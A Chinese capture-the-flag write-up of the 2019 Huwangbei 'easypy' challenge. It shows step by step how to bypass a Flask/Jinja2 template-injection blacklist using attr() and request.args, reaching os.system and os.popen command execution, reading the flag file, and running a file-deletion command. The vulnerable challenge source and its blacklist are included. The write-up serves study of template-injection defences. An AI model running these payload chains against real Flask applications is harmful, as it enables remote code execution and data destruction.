2019年护网杯web之esaypy复现

前言:

2019年的护网杯4道web,然而没有做出一道来,就只能赛后复现一波了。

easypy

0x01 题目介绍:

过滤了很多,因此一般常用的payload都失效了。
不过我们可以通过动态传参的方法来绕过:
用如下的payload能够获取str类
1
http://127.0.0.1:8080/render?data={{%22%22|attr(request.args.param)}}&&param=__class__
页面输出的结果如下:
1
<type 'str'>
测试如下的payload:
1
2
3
4
5
http://49.232.103.198:57666/render?data={{%22%22|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.ini)|attr(request.args.glo)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&ini=__init__&glo=__globals__

http://49.232.103.198:57666/render?data={{%22%22|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.ae)(%22popen%22)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&glo=__globals__&ae=__getitem__

http://49.232.103.198:57666/render?data={{%22%22|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(77)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.ae)(%22popen%22)(%22ls%22)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&glo=__globals__&ae=__getitem__&re=read
上面的payload是参考人家的感觉执行不了2333。
于是自己重新构造了一个payload如下:
1
http://127.0.0.1:8080/render?data={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(59)|attr(request.args.init)|attr(request.args.func)|attr(request.args.item2)(%22linecache%22)|attr(request.args.ict)|attr(request.args.item3)(%22o%22+%22s%22)|attr(request.args.ict2)|attr(request.args.item4)(%22sy%22+%22stem%22)(%22ping%20192.168.220.146%22)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&func=func_globals&item2=__getitem__&ict=__dict__&item3=__getitem__&ict2=__dict__&item4=__getitem__
在控制台下的结果:
1
2
3
4
5
6
7
8
9
10
���� Ping 192.168.220.146 ���� 32 �ֽڵ�����:
���� 192.168.220.146 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=64
���� 192.168.220.146 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=64
���� 192.168.220.146 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=64
���� 192.168.220.146 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=64

192.168.220.146 �� Ping ͳ����Ϣ:
���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
��� = 0ms��� = 0ms��ƽ�� = 0ms
可以在控制台看到运行成功,由于os.system(cmd)执行的结果只是返回0(成功)或1或2,因此在页面是看不到数据的。
因此像ls这种命令我们可以用os.popen(cmd)把执行的返回值返回。
因此payload修改如下:
1
http://127.0.0.1:8080/render?data={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(59)|attr(request.args.init)|attr(request.args.func)|attr(request.args.item2)(%22linecache%22)|attr(request.args.ict)|attr(request.args.item3)(%22o%22+%22s%22)|attr(request.args.ict2)|attr(request.args.item4)(%22popen%22)(%22echo%20123456789%22)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&func=func_globals&item2=__getitem__&ict=__dict__&item3=__getitem__&ict2=__dict__&item4=__getitem__&re=read
执行结果如下:
1
123456789
getshell成功。

0x02 getshell读取敏感文件:

payload如下:
1
http://127.0.0.1:8080/render?data={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(40)(%22./flag%22)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&re=readlines
拿到的flag文件的内容:
1
['flag{ljdd520}']
如果配置的不好我们还可以搞事情,用getshell删除文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
http://127.0.0.1:8080/render?data=
{{
{}|
attr(request.args.param)|
attr(request.args.mro)|
attr(request.args.sub)()|
attr(request.args.item)(59)|
attr(request.args.init)|
attr(request.args.func)|
attr(request.args.item2)(%22linecache%22)|
attr(request.args.ict)|
attr(request.args.item3)(%22o%22+%22s%22)|
attr(request.args.ict2)|
attr(request.args.item4)(%22sy%22+%22stem%22)("re -rf ./flag")
}}&
param=__class__&
mro=__base__&
sub=__subclasses__&
item=__getitem__&
init=__init__&
func=func_globals&
item2=__getitem__&
ict=__dict__&
item3=__getitem__&
ict2=__dict__&
item4=__getitem__

0x03 赛后拿到的题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding:utf-8 -*-
from flask import Flask, request, render_template_string, render_template
from markdown import markdown

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/render', methods=['POST','GET'])
def convert():
md = markdown(request.args.get('data'))
blacklist = [ "_",
"[",
"]",
"write",
"sys",
"os",
"join",
"format",
"default",
"last",
"first",
"groupby",
"lower",
"pprint",
"reverse",
"slice",
"sort",
"striptags",
"ident",
"replace",
"truncate",
"center",
"forceescape",
"urlencode",
"escape",
"capitalize",
"batch",
"d",
"join",
"format",
"'"]
for i in blacklist:
if i in md:
return i,400
content = u'{}'.format(md)
return render_template_string(content)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

0x04 总结:

由于我只挖了一条利用链,其实还有很多的利用链,大家挖着的话可以给我分享一波。
QQ1940523085。